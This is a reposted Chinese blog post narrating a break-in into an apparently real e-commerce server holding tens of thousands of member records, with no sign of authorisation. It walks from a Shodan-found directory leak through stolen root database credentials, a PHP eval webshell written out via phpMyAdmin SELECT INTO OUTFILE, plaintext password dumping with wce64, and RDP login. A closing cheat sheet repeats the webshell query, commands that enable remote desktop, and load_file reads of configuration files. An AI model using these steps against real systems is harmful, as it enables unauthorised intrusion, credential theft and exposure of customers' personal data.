您现在的位置是:首页 > 文章详情

源代码泄露获取某电子商务网站服务器权限

日期:2017-05-23点击:487

源代码泄露获取某电子商务网站服务器权限

simeon

   ***本次目标事发偶然,通过shadon对“phpMyAdmin”关键字进行检索时,加入“indexOf”关键字后,会出现所有存在列目录漏洞的网站,该网站为电子商务网站,网站保留有数万会员真实信息,下面将整过***过程进行分享。

1.发现目标

   通过shadon搜索引擎对搜索记录逐个打开,发现某目标站点存在文件目录泄露漏洞:

http://203.***.**.227/

http://203.***.**.227/www.********.hk.rar

http://203.***.**.227/phpMyAdmin/

http://203.***.**.227/news********hk/

  目录还有phpinfo.php文件,看到phpMyAdminphpinfo.php同时存在,感觉服务器权限已经不远了,如图1所示,有网站源代码打包文件,将其下载到本地。

wKiom1kjfPOR450eAABKYsKiXOI278.jpg-wh_50

1文件泄露

2.查看源代码打包文件

   整个源代码压缩包2.37 GB,真大!通过搜索和查看,确定数据库配置文件为config.php

如图2所示,将其解压到本地,使用notepad进行查看,果然其中包含了数据库配置信息,而且还是root帐号,密码虽然算弱口令,但也是弱口令中的强口令。

wKiom1kjfP3DKpWLAACXtzpa2hw187.jpg-wh_50

2寻找数据库配置文件

wKioL1kjfQTzBmpbAAF-BixncK0200.jpg-wh_50

3获取数据库root帐号和密码

3.寻找网站物理路径

   通过phpinfo.php文件查看,在浏览器中可以使用Ctrl+F快捷键搜索关键字“SCRIPT_FILENAME”获取其真实物理路径地址,_SERVER["SCRIPT_FILENAME"]      D:/WWW/phpinfo.php,如图4所示。

wKiom1kjfQyRQkj8AAEIA1Gvtr0270.jpg-wh_50

4获取网站物理路劲

4.Mysql直接导出Webshell

   通过获取的root帐号和密码登录http://203.***.**.227/phpMyAdmin/,成功登录,如图5所示,选择SQL查询,在其中查询select'<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php'导出一句话后门。

wKioL1kjfRTjC_AfAAEwngtDaEo541.jpg-wh_50

5登录mysql数据库

wKioL1kjfRvhvxyiAAC_b13mITE691.jpg-wh_50

6查询导出一句话后门

6.获取webshell

 在浏览器中对http://203.***.**.227地址刷新即可获取一句话后门文件地址:http://203.***.**.227/p.php,在浏览器中打开进行访问,一切正常。使用中国菜刀一句话后门管理软件,shell添加并打开,如图7所示,顺利获取webshell

wKiom1kjfSPQM3djAACUPPLgBBQ786.jpg-wh_50

7获取webshell

7.服务器提权

    目测该系统php运行权限为系统权限,上传wce64.exe,然后在终端管理中输入“wce64-w”命令成功获取管理员帐号密码,如图8所示。

wKiom1kjfSyzumVKAAAZPFqRSLM895.jpg-wh_50

8获取管理员密码

8.获取3389端口

   在终端管理器中执行netstat -an|find "3389",无结果显示,估计管理员修改了默认端口,使用tasklist /svc命令获取进程名称和服务,找到termservice所对应的进程号,可以直接使用命令 tasklist /svc | find"termService"来获取对应的PID号,如图9所示,在本例中对应的ID号是1340wKioL1kjfX6QhUxoAAChLTKWIoo193.jpg-wh_50

9获取远程终端服务对应的PID

  然后使用“netstat -ano”命令寻找1340对应的端口号,如图10所示,对应的TCP端口为7755端口,也可以使用命令netstat-ano | find '1340'命令直接显示。

10获取终端服务对应的端口

9.登录远程终端

   在命令提示符下输入mstsc.exe,打开远程终端登陆器,在3389远程桌面登录中的地址中输入“203.***.**.227:7755”,然后使用获取的管理员密码成功登录系统,如图11所示。

wKiom1kjfTqQEusAAAEH3U3WqTU166.jpg-wh_50

11成功登录系统

10.域名反查

   打开http://www.yougetsignal.com/tools/web-sites-on-web-server/网站对IP地址203.***.**.227进行域名反查,如图12所示,该IP下存在网站,打开该网站,该网站为一个电子商务网站,在该网站中存在数万会员资料,如图13所示。

wKioL1kjfWfxGR4SAABbibuxQzQ167.jpg-wh_50

12域名反查

wKiom1kjfV-DtKDmAAHNI9ms5-0299.jpg-wh_50

13存在1万多条会员信息

11.***总结与思考

  对存在phpMyAdmin的站点,通过代码泄露等方法来获取数据库的密码,然后通过读取文件或者导出文件来获取webshell

13389端口命令行下获取总结

netstat-an |find "3389"  查看3389端口是否开放

tasklist/svc | find "TermService" 获取对应TermServicePID

netstat-ano | find '1340'  查看上面获取的PID号对应的TCP端口号

2Windows2008Server命令行开启3389

wmic/namespace:\\root\cimv2\terminalservices path win32_terminalservicesettingwhere (__CLASS != "") call setallowtsconnections 1

 wmic /namespace:\\root\cimv2\terminalservicespath win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') callsetuserauthenticationrequired 1

 reg add"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

3wce64 -w 命令直接获取系统明文登录密码

4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径

5phpmyadmin一句话后门导出

select'<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php'

6phpstudy敏感配置文件

selectload_file(' D:\phpStudy\Lighttpd\conf\vhosts.conf ');

select load_file('D:\phpStudy\Lighttpd\conf\ lighttpd.conf ');

selectload_file(' D:\phpStudy\Apache\conf\vhosts.conf');

selectload_file(' D:\phpStudy\Apache\conf\httpd.conf');

selectload_file('c:\boot.ini');

selectload_file('c:\boot.ini');

selectload_file(' D:\phpStudy\MySQL\my.ini');

 


原文链接:https://blog.51cto.com/simeon/1928416
关注公众号

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。

持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。

文章评论

共有0条评论来说两句吧...

文章二维码

扫描即可查看该文章

点击排行

推荐阅读

最新文章